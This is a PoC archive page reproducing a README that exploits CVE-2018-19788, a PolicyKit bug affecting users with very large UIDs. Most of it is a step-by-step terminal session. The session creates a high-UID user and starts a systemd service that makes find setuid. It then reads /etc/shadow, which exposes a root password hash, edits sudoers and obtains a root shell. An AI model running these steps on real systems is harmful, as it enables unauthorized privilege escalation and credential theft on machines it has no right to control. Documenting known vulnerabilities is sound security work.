Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2018-19788 PoC — Red Hat PolicyKit 输入验证错误漏洞

Source
Associated Vulnerability
Title: Red Hat PolicyKit 输入验证错误漏洞 (CVE-2018-19788)
Description:A flaw was found in PolicyKit (aka polkit) 0.115 that allows a user with a uid greater than INT_MAX to successfully execute any systemctl command.
Description
Exploiting The CVE-2018-19788 PolicyKit Bug
Readme
# CVE-2018-19788
Exploiting The CVE-2018-19788 PolicyKit Bug

Steps to exploit PolicyKit bug on a fully patched CentOS7 installation.

[root@centos7 ~]# groupadd -g 4000000000 cve201819788  
[root@centos7 ~]# useradd -m -c "User With High UID" -u 4000000000 -g 4000000000 -s /bin/bash cve201819788  
[root@centos7 ~]# id cve201819788  
 uid=4000000000(cve201819788) gid=4000000000(cve201819788) groups=4000000000(cve201819788)  
[root@centos7 ~]# cat >hacked.service<<HACKED  
[Unit]  
Description=Hacked Service  
 
[Service]  
Type=notify  
ExecStart=/bin/bash -c "chmod +s /usr/bin/find"  
KillMode=process  
Restart=on-failure  
RestartSec=60s  
 
[Install]  
WantedBy=multi-user.target  
HACKED  

[root@centos7 ~]# systemctl link $(pwd)/hacked.service  
Created symlink from /etc/systemd/system/hacked.service to /root/hacked.service.  
[root@centos7 ~]# su - cve201819788  
[cve201819788@centos7 ~]$ whoami  
cve201819788  
[cve201819788@centos7 ~]$ grep root /etc/shadow  
grep: /etc/shadow: Permission denied  
[cve201819788@centos7 ~]$ systemctl start hacked  
 
 (pkttyagent:12785): GLib-GObject-WARNING **: 21:08:45.965: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' **    
 ERROR:pkttyagent.c:146:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)  

[cve201819788@centos7 ~]$ ls -l $(which find)  
-rwsr-sr-x. 1 root root 199304 Oct 30 12:42 /bin/find  
[cve201819788@centos7 ~]$ find /etc/shadow -exec grep root {} \;  
root:$6$/zGjAAFHb.RUQJPx$qJH5DgIrZ1avYAeceWPNKitAbyGxMQ6vaOL7MfJ84mrwU6xgOxr/4hpQqdNWQiX6nBgu9WUKqWrJ4t6zRFbIN1::0:99999:7:::  
[cve201819788@centos7 ~]$ find /etc/sudoers -exec visudo -f {} \;  

## Insert following into sudoers file  
cve201819788    ALL=(ALL)       ALL  
##  

[cve201819788@centos7 ~]$ sudo -l  
[sudo] password for cve201819788:   
Matching Defaults entries for cve201819788 on centos7:  
     !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1  
     PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER  
     LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin  
 
 User cve201819788 may run the following commands on centos7:  
     (ALL) ALL  
 [cve201819788@centos7 ~]$ sudo su -  
 Last login: Sun Dec 30 20:59:54 EST 2018 from 192.168.1.2 on pts/0  
 [root@centos7 ~]# whoami  
 root  
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →